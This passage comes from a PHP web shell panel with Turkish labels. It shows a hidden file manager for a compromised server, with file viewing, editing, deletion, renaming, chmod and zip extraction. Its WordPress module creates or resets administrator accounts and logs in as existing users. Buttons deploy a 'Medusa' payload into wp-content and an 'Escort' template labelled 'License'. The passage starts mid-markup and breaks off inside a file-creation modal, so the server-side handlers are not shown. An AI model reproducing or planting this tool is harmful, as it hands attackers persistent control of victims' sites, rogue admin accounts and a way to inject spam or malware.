                    <path stroke-linecap="round" stroke-linejoin="round" d="M9 12h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/>
                </svg>
                clr.php
            </button>
            <button type="button" onclick="deployMedusaWpContent();closeMobileMenu()" 
                class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-pink-400 bg-pink-500/10 border border-pink-500/20 hover:bg-pink-500/20 transition-all">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                    <path stroke-linecap="round" stroke-linejoin="round" d="M12 4v16m-8-8h16" />
                </svg>
                Medusa
            </button>
            <button type="button" onclick="deployEscortTemplate();closeMobileMenu()" 
                class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-violet-400 bg-violet-500/10 border border-violet-500/20 hover:bg-violet-500/20 transition-all">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                    <path stroke-linecap="round" stroke-linejoin="round" d="M5 8h14M5 8a2 2 0 110-4h14a2 2 0 110 4M5 8v10a2 2 0 002 2h10a2 2 0 002-2V8m-9 4h4"/>
                </svg>
                License
            </button>
            <button type="button" onclick="openModal('permModal');closeMobileMenu()" 
                class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-cyan-400 bg-cyan-500/10 border border-cyan-500/20 hover:bg-cyan-500/20 transition-all">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                    <path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/>
                </svg>
                Chmod All
            </button>
        </div>
        <div class="px-3 pb-2">
            <form method="post"><button type="submit" name="fm_logout" value="1" class="w-full flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-slate-400 bg-slate-800/60 hover:bg-slate-700/60 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M17 16l4-4m0 0l-4-4m4 4H7m6 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h4a3 3 0 013 3v1"/></svg>Logout</button></form>
        </div>
    </div>
</nav>

<!-- MAIN -->
<main class="max-w-7xl mx-auto px-4 sm:px-6 py-4">

    <!-- Server info -->
    <div class="flex flex-wrap items-center gap-2 mb-3 text-[10px] mono text-slate-500">
        <span class="flex items-center gap-1"><span class="w-1 h-1 rounded-full bg-emerald-400 animate-pulse"></span><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']??'Unknown'); ?></span>
        <span class="text-slate-700">|</span><span><?php echo $timezone; ?></span>
        <span class="text-slate-700">|</span><span><?php echo date('Y-m-d H:i:s'); ?></span>
        <?php if($detectedDomain): ?>
        <span class="text-slate-700">|</span>
        <span class="flex items-center gap-1 text-emerald-400">🌐 <?php echo htmlspecialchars($detectedDomain); ?></span>
        <?php endif; ?>
        <?php if($isWordPress): ?>
        <span class="text-slate-700">|</span>
        <span class="flex items-center gap-1 text-emerald-400">WP ✓</span>
        <?php endif; ?>
    </div>

    <!-- Status -->
    <?php if($statusMessage): ?>
    <div id="statusMsg" class="mb-3 flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-medium animate-slide-up transition-opacity duration-500 <?php echo $statusType==='success'?'bg-emerald-500/10 text-emerald-400 border border-emerald-500/20':'bg-rose-500/10 text-rose-400 border border-rose-500/20'; ?>">
        <?php if($statusType==='success'): ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7"/></svg><?php else: ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12"/></svg><?php endif; ?>
        <?php echo htmlspecialchars($statusMessage); ?>
    </div>
    <?php endif; ?>
    
    <!-- WP Auto Login Status -->
    <?php if($wpAutoLoginStatus): ?>
    <div id="wpAutoLoginStatus" class="mb-3 flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-medium animate-slide-up transition-opacity duration-500 <?php echo $wpAutoLoginType==='success'?'bg-emerald-500/10 text-emerald-400 border border-emerald-500/20':'bg-rose-500/10 text-rose-400 border border-rose-500/20'; ?>">
        <?php if($wpAutoLoginType==='success'): ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7"/></svg><?php else: ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12"/></svg><?php endif; ?>
        <?php echo $wpAutoLoginStatus; ?>
    </div>
    <script>
        setTimeout(function(){
            const el = document.getElementById('wpAutoLoginStatus');
            if(el){ el.style.opacity='0'; el.style.transition='opacity 0.5s'; setTimeout(function(){el.remove();}, 500); }
        }, 4000);
    </script>
    <?php endif; ?>
    
    <!-- WP User Status -->
    <?php if($wpUserResult): ?>
    <div id="wpUserStatus" class="mb-3 flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-medium animate-slide-up transition-opacity duration-500 <?php echo $wpUserResultType==='success'?'bg-violet-500/10 text-violet-400 border border-violet-500/20':'bg-rose-500/10 text-rose-400 border border-rose-500/20'; ?>">
        <?php if($wpUserResultType==='success'): ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7"/></svg><?php else: ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12"/></svg><?php endif; ?>
        <?php echo $wpUserResult; ?>
    </div>
    <script>
        setTimeout(function(){
            const el = document.getElementById('wpUserStatus');
            if(el){ el.style.opacity='0'; el.style.transition='opacity 0.5s'; setTimeout(function(){el.remove();}, 500); }
        }, 5000);
    </script>
    <?php endif; ?>

    <!-- Breadcrumb -->
    <div class="mb-3 flex items-center gap-1 flex-wrap bg-surface-900 border border-slate-700/50 px-3 py-1.5 rounded-lg text-xs overflow-x-auto">
        <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3 text-slate-500 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M3 12l2-2m0 0l7-7 7 7M5 10v10a1 1 0 001 1h3m10-11l2 2m-2-2v10a1 1 0 01-1 1h-3m-6 0a1 1 0 001-1v-4a1 1 0 011-1h2a1 1 0 011 1v4a1 1 0 001 1m-6 0h6"/></svg>
        <?php
        $bdirs=explode(DIRECTORY_SEPARATOR,$currentDirectory);$cp='';
        foreach($bdirs as $bd){if($bd==='')continue;$cp.=DIRECTORY_SEPARATOR.$bd;echo '<span class="text-slate-600">/</span><a href="?d='.x($cp).'" class="mono text-[10px] text-slate-400 hover:text-blue-400 px-1 py-0.5 rounded hover:bg-blue-500/10 transition-all whitespace-nowrap">'.htmlspecialchars($bd).'</a>';}
        echo '<span class="text-slate-600">/</span><a href="?d='.x($scriptDirectory).'" class="mono text-[10px] text-emerald-400 hover:text-emerald-300 px-1 py-0.5 rounded hover:bg-emerald-500/10 transition-all font-medium whitespace-nowrap">[home]</a>';
        ?>
    </div>

    <!-- Result / View box -->
    <?php if($viewCommandResult): ?>
    <?php
        $rawFileContent = ($viewCommandResult['type']==='view') ? file_get_contents($currentDirectory.'/'.$viewCommandResult['filename']) : '';
        $viewFilename   = ($viewCommandResult['type']==='view') ? $viewCommandResult['filename'] : '';
    ?>
    <?php if($viewFilename!==''): ?>
    <textarea id="resultRawContent" class="hidden"><?php echo htmlspecialchars($rawFileContent, ENT_QUOTES, 'UTF-8'); ?></textarea>
    <?php endif; ?>
    <div class="mb-3 bg-surface-900 border border-slate-700/50 rounded-lg overflow-hidden animate-slide-up" id="resultBox">
        <div class="flex items-center justify-between px-3 py-1.5 bg-slate-800/50 border-b border-slate-700/50">
            <div class="flex items-center gap-2">
                <div class="flex gap-1"><div class="w-2 h-2 rounded-full bg-rose-500/70"></div><div class="w-2 h-2 rounded-full bg-amber-500/70"></div><div class="w-2 h-2 rounded-full bg-emerald-500/70"></div></div>
                <span class="text-[10px] mono text-slate-400"><?php echo $viewCommandResult['label']; ?></span>
            </div>
            <div class="flex items-center gap-1.5">
                <?php if($viewCommandResult['type']==='view'&&$viewFilename!==''): ?>
                <button type="button" onclick="openEditorFromResultBox()" data-filename="<?php echo htmlspecialchars($viewFilename, ENT_QUOTES, 'UTF-8'); ?>" class="text-[10px] px-2 py-0.5 rounded bg-violet-500/15 text-violet-400 border border-violet-500/20 hover:bg-violet-500/25 transition-all mono">Edit</button>
                <?php endif; ?>
                <button type="button" onclick="document.getElementById('resultBox').remove()" class="text-slate-500 hover:text-slate-300 transition-colors text-lg leading-none">&times;</button>
            </div>
        </div>
        <?php if($viewCommandResult['type']==='view'): ?>
        <pre class="overflow-auto max-h-64"><code class="language-<?php echo htmlspecialchars(extLang(strtolower(pathinfo($viewFilename,PATHINFO_EXTENSION)))); ?> text-[10px]"><?php echo $viewCommandResult['content']; ?></code></pre>
        <?php else: ?>
        <pre class="overflow-auto max-h-64 p-3 mono text-[10px] text-slate-300 whitespace-pre-wrap"><?php echo $viewCommandResult['content']; ?></pre>
        <?php endif; ?>
    </div>
    <?php endif; ?>

    <!-- Hidden bulk delete form -->
    <form method="post" id="bulkForm">
        <input type="hidden" name="bulk_delete" value="1">
        <div id="bulkItemsContainer"></div>
    </form>

    <!-- File Table -->
    <div class="bg-surface-900 border border-slate-700/50 rounded-lg overflow-hidden">

        <!-- Bulk bar -->
        <div id="bulkBar" class="hidden items-center gap-2 px-3 py-1.5 bg-blue-500/10 border-b border-blue-500/20">
            <span class="text-xs text-blue-400 font-medium"><span id="selectedCount">0</span> selected</span>
            <button type="button" onclick="submitBulkDelete()"
                class="flex items-center gap-1 px-2 py-1 text-[10px] font-semibold bg-rose-500/15 text-rose-400 border border-rose-500/25 rounded hover:bg-rose-500/25 transition-all">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"/></svg>
                Delete
            </button>
            <button type="button" onclick="clearSel()" class="text-[10px] text-slate-500 hover:text-slate-300 transition-colors">Clear</button>
        </div>

        <div class="overflow-x-auto">
            <table class="w-full text-xs">
                <thead>
                    <tr class="bg-slate-800/60 text-slate-400 text-[10px] uppercase tracking-wider">
                        <th class="px-2 py-2 w-6 text-center"><input type="checkbox" id="checkAll" onchange="toggleAll(this)" class="w-3.5 h-3.5 rounded cursor-pointer" style="accent-color:#3b82f6"></th>
                        <th class="text-left px-2 py-2 font-semibold min-w-[120px]">Name</th>
                        <th class="text-left px-2 py-2 font-semibold hidden sm:table-cell">Size</th>
                        <th class="text-left px-2 py-2 font-semibold hidden md:table-cell">Modified</th>
                        <th class="text-left px-2 py-2 font-semibold hidden lg:table-cell">Perms</th>
                        <th class="text-center px-1 py-2 font-semibold" title="View">👁</th>
                        <th class="text-center px-1 py-2 font-semibold" title="Code Editor">✏️</th>
                        <th class="text-center px-1 py-2 font-semibold" title="Zip/Extract">📦</th>
                        <th class="text-center px-1 py-2 font-semibold" title="Chmod">🔑</th>
                        <th class="text-center px-1 py-2 font-semibold" title="Delete">🗑</th>
                        <th class="text-left px-1 py-2 font-semibold min-w-[100px]">Rename</th>
                    </tr>
                </thead>
                <tbody class="divide-y divide-slate-800/80">
                <?php
                $rawItems=array_diff(scandir($currentDirectory),['.','..']);
                $fD=[];$fF=[];
                foreach($rawItems as $item){is_dir($currentDirectory.'/'.$item)?$fD[]=$item:$fF[]=$item;}
                natcasesort($fD);natcasesort($fF);
                $allItems=array_merge(array_values($fD),array_values($fF));

                foreach($allItems as $v):
                    $u=realpath($v);
                    $isDir=is_dir($v);
                    $isWr=is_writable($u);
                    $perm=substr(sprintf('%o',fileperms($u)),-4);
                    $ext=$isDir?'':strtolower(pathinfo($v,PATHINFO_EXTENSION));
                    $ec=extColor($ext);
                    $iLink=$isDir?'?d='.x($currentDirectory.'/'.$v):'?d='.x($currentDirectory).'&f='.x($v);
                    $isZip=in_array($ext,['zip','tar','gz']);

                    $dirIcon='<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-amber-400 flex-shrink-0" fill="currentColor" viewBox="0 0 20 20"><path d="M2 6a2 2 0 012-2h5l2 2h5a2 2 0 012 2v6a2 2 0 01-2 2H4a2 2 0 01-2-2V6z"/></svg>';
                    $fileIcon='<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 '.$ec.' flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="1.5"><path stroke-linecap="round" stroke-linejoin="round" d="M9 12h6m-6 4h6m2 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"/></svg>';

                    $btn='inline-flex items-center justify-center w-6 h-6 rounded bg-slate-700/50 text-slate-400 border border-slate-700 transition-all';
                ?>
                <tr class="hover:bg-slate-800/40 transition-colors">
                    <td class="px-2 py-2 text-center"><input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($v); ?>" class="item-check w-3.5 h-3.5 rounded cursor-pointer" style="accent-color:#3b82f6" onchange="updBulk()"></td>
                    <td class="px-2 py-2">
                        <div class="flex items-center gap-1.5">
                            <?php echo $isDir?$dirIcon:$fileIcon; ?>
                            <a href="<?php echo $iLink; ?>" class="text-slate-200 hover:text-blue-400 font-medium transition-colors truncate max-w-[120px] text-[11px]"><?php echo htmlspecialchars($v); ?></a>
                            <?php if($isWr)echo '<span class="w-1 h-1 rounded-full bg-blue-400/50 flex-shrink-0" title="Writable"></span>'; ?>
                        </div>
                    </td>
                    <td class="px-2 py-2 mono text-[10px] text-slate-500 hidden sm:table-cell"><?php echo $isDir?'<span class="text-slate-700">—</span>':formatFileSize(filesize($u)); ?></td>
                    <td class="px-2 py-2 mono text-[10px] text-slate-500 hidden md:table-cell"><?php echo date('Y-m-d H:i',filemtime($u)); ?></td>
                    <td class="px-2 py-2 mono text-[10px] hidden lg:table-cell"><span class="px-1 py-0.5 rounded bg-slate-800 text-slate-400"><?php echo $perm; ?></span></td>

                    <!-- View -->
                    <td class="px-1 py-2 text-center">
                        <?php if(!$isDir): ?>
                        <form method="post"><input type="hidden" name="view_file" value="<?php echo htmlspecialchars($v); ?>">
                        <button type="submit" title="View" class="<?php echo $btn; ?> hover:text-blue-400 hover:bg-blue-500/15 hover:border-blue-500/30">
                            <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"/><path stroke-linecap="round" stroke-linejoin="round" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"/></svg>
                        </button></form>
                        <?php else: echo '<span class="text-slate-800">—</span>'; endif; ?>
                    </td>

                    <!-- Code Editor -->
                    <td class="px-1 py-2 text-center">
                        <?php if(!$isDir): ?>
                        <form method="post" onsubmit="event.preventDefault();loadAndEdit('<?php echo htmlspecialchars(addslashes($v)); ?>')">
                        <input type="hidden" name="editor_load" value="<?php echo htmlspecialchars($v); ?>">
                        <button type="submit" title="Edit" class="<?php echo $btn; ?> hover:text-violet-400 hover:bg-violet-500/15 hover:border-violet-500/30">
                            <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M10 20l4-16m4 4l4 4-4 4M6 16l-4-4 4-4"/></svg>
                        </button></form>
                        <?php else: echo '<span class="text-slate-800">—</span>'; endif; ?>
                    </td>

                    <!-- Zip / Extract -->
                    <td class="px-1 py-2 text-center">
                        <?php if($isZip): ?>
                        <form method="post"><input type="hidden" name="extract_file" value="<?php echo htmlspecialchars($v); ?>">
                        <button type="submit" title="Extract" class="<?php echo $btn; ?> hover:text-purple-400 hover:bg-purple-500/15 hover:border-purple-500/30">
                            <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"/></svg>
                        </button></form>
                        <?php else: ?>
                        <form method="post"><input type="hidden" name="zip_file" value="<?php echo htmlspecialchars($v); ?>">
                        <button type="submit" title="Compress" class="<?php echo $btn; ?> hover:text-purple-400 hover:bg-purple-500/15 hover:border-purple-500/30">
                            <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 8h14M5 8a2 2 0 110-4h14a2 2 0 110 4M5 8v10a2 2 0 002 2h10a2 2 0 002-2V8m-9 4h4"/></svg>
                        </button></form>
                        <?php endif; ?>
                    </td>

                    <!-- Chmod -->
                    <td class="px-1 py-2 text-center">
                        <button type="button" onclick="openChmod('<?php echo htmlspecialchars(addslashes($v)); ?>','<?php echo $perm; ?>')" title="Chmod" class="<?php echo $btn; ?> hover:text-amber-400 hover:bg-amber-500/15 hover:border-amber-500/30">
                            <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/></svg>
                        </button>
                    </td>

                    <!-- Delete -->
                    <td class="px-1 py-2 text-center">
                        <form method="post" onsubmit="return confirm('Delete <?php echo htmlspecialchars(addslashes($v)); ?>?')">
                        <input type="hidden" name="delete_file" value="<?php echo htmlspecialchars($v); ?>">
                        <button type="submit" title="Delete" class="<?php echo $btn; ?> hover:text-rose-400 hover:bg-rose-500/15 hover:border-rose-500/30">
                            <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"/></svg>
                        </button></form>
                    </td>

                    <!-- Rename -->
                    <td class="px-1 py-2">
                        <form method="post" class="flex gap-1">
                        <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($v); ?>">
                        <input type="text" name="new_name" placeholder="New" required class="flex-1 min-w-0 px-1.5 py-1 text-[10px] mono bg-slate-800/60 border border-slate-700/50 rounded text-slate-300 placeholder-slate-600 focus:outline-none focus:border-blue-500/50 transition-all">
                        <button type="submit" name="rename_item" value="1" title="Rename" class="flex-shrink-0 w-6 h-6 flex items-center justify-center bg-amber-500/10 text-amber-400 border border-amber-500/20 rounded hover:bg-amber-500/20 transition-all">
                            <svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15.232 5.232l3.536 3.536m-2.036-5.036a2.5 2.5 0 113.536 3.536L6.5 21.036H3v-3.572L16.732 3.732z"/></svg>
                        </button></form>
                    </td>
                </tr>
                <?php endforeach; ?>
                </tbody>
            </table>
        </div>
        <?php
        $cnt=count($allItems);
        echo '<div class="px-3 py-1.5 border-t border-slate-800/80 flex items-center justify-between text-[10px] text-slate-600">';
        echo '<span>'.$cnt.' item'.($cnt!==1?'s':'').'</span>';
        echo '<span class="mono truncate max-w-xs">'.htmlspecialchars($currentDirectory).'</span>';
        echo '</div>';
        ?>
    </div>
</main>

<!-- ─── WP USER MODAL ────────────────────────────────────── -->
<?php if($isWordPress): ?>
<div id="wpUserModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
    <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('wpUserModal')"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
        <div class="flex items-center justify-between px-6 py-4 border-b border-slate-700/50">
            <div class="flex items-center gap-3">
                <div class="w-8 h-8 rounded-lg bg-violet-500/15 border border-violet-500/25 flex items-center justify-center">
                    <svg class="w-4 h-4 text-violet-400" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"/>
                    </svg>
                </div>
                <div>
                    <h2 class="font-semibold text-slate-100 text-sm">WP User</h2>
                    <p class="text-[10px] text-slate-500">Oluştur / Giriş Yap / Şifre Güncelle</p>
                    <?php if($detectedDomain): ?>
                    <p class="text-[10px] text-emerald-400 mono">🌐 <?php echo htmlspecialchars($detectedDomain); ?></p>
                    <?php endif; ?>
                </div>
            </div>
            <button type="button" onclick="closeModal('wpUserModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">&times;</button>
        </div>
        <form method="post" class="p-6">
            <input type="hidden" name="wp_user_create" value="1">
            
            <div class="mb-3">
                <label class="block text-[10px] font-medium text-slate-400 mb-1">Kullanıcı Adı</label>
                <input type="text" name="wp_username" id="wpUsername" required 
                    placeholder="admin" 
                    class="w-full px-3 py-2 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-violet-500/50 focus:bg-slate-800 transition-all">
            </div>
            
            <div class="mb-3">
                <label class="block text-[10px] font-medium text-slate-400 mb-1">Şifre</label>
                <input type="password" name="wp_password" id="wpPassword" required 
                    placeholder="••••••••" 
                    class="w-full px-3 py-2 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-violet-500/50 focus:bg-slate-800 transition-all">
                <button type="button" onclick="toggleWpPw()" class="text-[10px] text-slate-500 hover:text-slate-300 transition-colors mt-1">👁 Göster/Gizle</button>
            </div>
            
            <div class="mb-4">
                <label class="block text-[10px] font-medium text-slate-400 mb-1">E-posta <span class="text-slate-600">(opsiyonel)</span></label>
                <input type="email" name="wp_email" id="wpEmail" 
                    placeholder="user@example.com" 
                    class="w-full px-3 py-2 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-violet-500/50 focus:bg-slate-800 transition-all">
            </div>
            
            <div class="flex gap-3 mb-4">
                <button type="submit" name="wp_action" value="create" 
                    class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-violet-600 rounded-xl hover:bg-violet-500 transition-all flex items-center justify-center gap-2">
                    <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M12 4v16m8-8H4"/>
                    </svg>
                    Oluştur
                </button>
                <button type="submit" name="wp_action" value="login" 
                    class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-emerald-600 rounded-xl hover:bg-emerald-500 transition-all flex items-center justify-center gap-2">
                    <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M11 16l-4-4m0 0l4-4m-4 4h14m-5 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h7a3 3 0 013 3v1"/>
                    </svg>
                    Giriş
                </button>
            </div>
            
            <div class="text-[10px] text-slate-500 bg-slate-800/40 rounded-lg px-3 py-2 flex items-start gap-2">
                <span class="text-violet-400 text-sm leading-none mt-0.5">ℹ️</span>
                <div>
                    <p><strong>Oluştur:</strong> Yeni admin oluşturur veya şifre günceller.</p>
                    <p><strong>Giriş:</strong> Mevcut kullanıcı ile oturum açar.</p>
                </div>
            </div>
        </form>
    </div>
</div>

<script>
function toggleWpPw() {
    const input = document.getElementById('wpPassword');
    input.type = input.type === 'password' ? 'text' : 'password';
}
</script>
<?php endif; ?>

<!-- ─── MODALS ─────────────────────────────────────────────── -->

<!-- New Folder -->
<div id="createFolderModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
    <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('createFolderModal')"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
        <div class="flex items-center justify-between px-6 py-4 border-b border-slate-700/50">
            <div class="flex items-center gap-3"><div class="w-8 h-8 rounded-lg bg-emerald-500/15 border border-emerald-500/25 flex items-center justify-center"><svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4 text-emerald-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M9 13h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/></svg></div><h2 class="font-semibold text-slate-100 text-sm">New Folder</h2></div>
            <button type="button" onclick="closeModal('createFolderModal')" class="text-slate-500 hover:text-slate-300 text-xl">&times;</button>
        </div>
        <form method="post" class="p-6">
            <label class="block text-[10px] font-medium text-slate-400 mb-1.5">Folder Name</label>
            <input type="text" name="folder_name" required autofocus placeholder="my-folder" class="w-full px-3 py-2.5 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-emerald-500/50 focus:bg-slate-800 transition-all mb-4">
            <div class="flex gap-3"><button type="button" onclick="closeModal('createFolderModal')" class="flex-1 px-4 py-2.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button><button type="submit" class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-emerald-600 rounded-xl hover:bg-emerald-500 transition-all">Create</button></div>
        </form>
    </div>
</div>

<!-- Create/Edit File -->
<div id="createEditFileModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
    <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('createEditFileModal')"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-lg shadow-2xl animate-slide-up">
        <div class="flex items-center justify-between px-6 py-4 border-b border-slate-700/50">
            <div class="flex items-center gap-3"><div class="w-8 h-8 rounded-lg bg-blue-500/15 border border-blue-500/25 flex items-center justify-center"><svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4 text-blue-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg></div><h2 class="font-semibold text-slate-100 text-sm">Create / Edit File</h2></div>
            <button type="button" onclick="closeModal('createEditFileModal')" class="text-slate-500 hover:text-slate-300 text-xl">&times;</button>
        </div>
        <form method="post" class="p-6" id="createEditForm">
            <label class="block text-[10px] font-medium text-slate-400 mb-1.5">File Name</label>
            <input type="text" name="file_name" id="ceFileName" required placeholder="example.php" class="w-full px-3 py-2.5 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-blue-500/50 focus:bg-slate-800 transition-all mb-3">
            <label class="block text-[10px] font-medium text-slate-400 mb-1.5">Content</label>
            <textarea name="file_content" id="ceFileContent" rows="6" placeholder="File content here…" class="w-full px-3 py-2.5 mono text-xs bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-300 placeholder-slate-600 focus:outline-none focus:border-blue-500/50 focus:bg-slate-800 transition-all resize-y mb-4"></textarea>
